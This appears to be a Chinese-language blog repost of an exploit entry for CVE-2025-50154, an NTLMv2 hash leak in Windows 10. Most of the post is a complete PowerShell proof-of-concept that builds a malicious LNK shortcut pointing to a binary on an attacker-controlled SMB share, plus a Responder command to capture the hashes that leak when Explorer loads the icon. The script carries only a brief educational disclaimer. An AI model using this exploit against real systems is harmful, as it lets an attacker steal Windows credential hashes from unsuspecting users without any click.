Windows NTLMv2哈希泄露漏洞利用详解

本文详细介绍了Microsoft Windows 10.0.19045系统中存在的NTLMv2哈希泄露漏洞(CVE-2025-50154),通过PowerShell脚本生成恶意LNK文件,利用SMB协议触发身份验证过程,实现远程哈希获取的技术细节和利用方法。

漏洞标题:Microsoft Windows 10.0.19045 - NTLMv2哈希泄露

日期:2025-08-13

漏洞作者:Ruben Enkaoua

作者链接:https://x.com/RubenLabs, https://github.com/rubenformation

原始博客:https://cymulate.com/blog/zero-click-one-ntlm-microsoft-security-patch-bypass-cve-2025-50154/

厂商主页:https://microsoft.com

软件链接:https://www.microsoft.com/en-us/software-download

版本:2025年8月补丁星期二之前的所有版本

测试环境:Windows 10.0.19045

CVE:CVE-2025-50154

此漏洞利用针对CVE-2025-24054补丁绕过

启动responder:

responder -I -v

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<#
.SYNOPSIS
    创建恶意LNK文件,触发SMB NTLMv2-SSP哈希泄露
    此代码仅用于教育和研究目的。
    作者不对此代码的任何误用负责。
.DESCRIPTION
    此脚本生成指向远程SMB托管二进制文件的.LNK快捷方式
    该快捷方式使用默认的Windows图标SHELL32.dll),但仍会强制资源管理器
    从远程二进制文件获取PE图标,从而触发身份验证。
.PARAMETER path
    保存LNK文件的本地路径(例如,C:\Users\User\Desktop)。
.PARAMETER ip
    托管二进制文件的远程SMB服务器的IP地址或主机名
.PARAMETER share
    SMB服务器上存储二进制文件的共享文件夹
.PARAMETER file
    二进制文件的名称(例如,payload.exe)。
.EXAMPLE
    .\poc.ps1 -path "C:\Temp" -ip "192.168.1.10" -share "malware" -file "payload.exe"
#>

param(
    [Parameter(Mandatory=$true)]
    [string]$path,    # -path
    [Parameter(Mandatory=$true)]
    [string]$ip,      # -ip
    [Parameter(Mandatory=$true)]
    [string]$share,   # -share
    [Parameter(Mandatory=$true)]
    [string]$file     # -file
)

# 构建文件路径
$shortcutPath = Join-Path $path "poc.lnk"
$targetPath = "\\$ip\$share\$file"
$iconLocation = "C:\Windows\System32\SHELL32.dll"

# 创建LNK文件
$wShell = New-Object -ComObject WScript.Shell
$shortcut = $wShell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = $targetPath
$shortcut.IconLocation = $iconLocation
$shortcut.Save()

Write-Output "快捷方式创建于:$shortcutPath"
Write-Output "目标路径:$targetPath"
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计